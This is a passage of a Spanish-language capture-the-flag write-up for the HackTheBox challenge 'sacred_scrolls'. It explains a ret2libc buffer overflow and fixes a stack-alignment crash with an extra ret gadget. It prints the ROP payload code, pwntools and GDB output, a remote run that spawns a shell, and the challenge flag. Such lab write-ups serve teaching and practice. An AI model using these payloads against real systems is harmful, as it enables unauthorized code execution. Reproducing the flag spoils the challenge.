[+] Starting local process './sacred_scrolls': pid 3919915
[*] "/bin/sh" address: 0x7f74ea3a5698
adding: spell.txt (deflated 53%)
[*] Switching to interactive mode
[-] This spell is not quiet effective, thus it will not be saved!
[*] Got EOF while reading in interactive
$
Depurando el exploit
Podemos adjuntar GDB al proceso utilizando esta sentencia:
gdb.attach(p, 'continue')
$ python3 solve.py
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './sacred_scrolls': pid 3921036
[*] running in new terminal: ['/usr/bin/gdb', '-q', './sacred_scrolls', '3921036', '-x', '/tmp/pwnqm8ivbkx.gdb']
[*] "/bin/sh" address: 0x7f608722b698
adding: spell.txt (deflated 53%)
[*] Switching to interactive mode
[-] This spell is not quiet effective, thus it will not be saved!
[*] Got EOF while reading in interactive
$
Y en GDB el programa se detiene aquí (violación de segmento):
gef➤ x/i $rip
=> 0x7f60870a3963: movaps XMMWORD PTR [rsp],xmm1
gef➤ p/x $rsp
$1 = 0x7ffd29fdf148
Este problema se conoce como alineación de pila (stack alignment). Ocurre con instrucciones como movaps
, que fallan si la pila no está alineada con una dirección múltiplo de 16 (que es lo mismo para decir que el último dígito hexadecimal de $rsp
es un 0
). Para solucionar este problema, podemos agregar un simple gadget ret
a nuestra cadena ROP, por lo que el puntero de la pila se incrementa en 8. Un gadget ret
puede ser el mismo gadget pop_rdi_ret
más uno, para tomar solo la instrucción ret
:
pop_rdi_ret = 0x401183
system_plt = 0x400820
payload = b'\xf0\x9f\x91\x93\xe2\x9a\xa1'
payload += b'A' * 33
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(pop_rdi_ret + 1)
payload += p64(system_plt)
Y ahora funciona correctamente:
$ python3 solve.py
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './sacred_scrolls': pid 3924655
[*] "/bin/sh" address: 0x7fda53402698
adding: spell.txt (deflated 56%)
[*] Switching to interactive mode
[-] This spell is not quiet effective, thus it will not be saved!
$ ls
glibc sacred_scrolls solve.py spell.txt spell.zip
Flag
Entonces, vamos a lanzarlo en remoto:
$ python3 solve.py 139.59.189.31:31177
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Opening connection to 139.59.189.31 on port 31177: Done
[*] "/bin/sh" address: 0x7f5345a86698
updating: spell.txt (deflated 56%)
[*] Switching to interactive mode
[-] This spell is not quiet effective, thus it will not be saved!
$ ls
flag.txt
glibc
sacred_scrolls
spell.txt
spell.zip
$ cat flag.txt
HTB{r3t2l1bc_4_51mpl3_5p3ll_but_qu13t_unbr34k4bl3}
El exploit completo está aquí: solve.py
.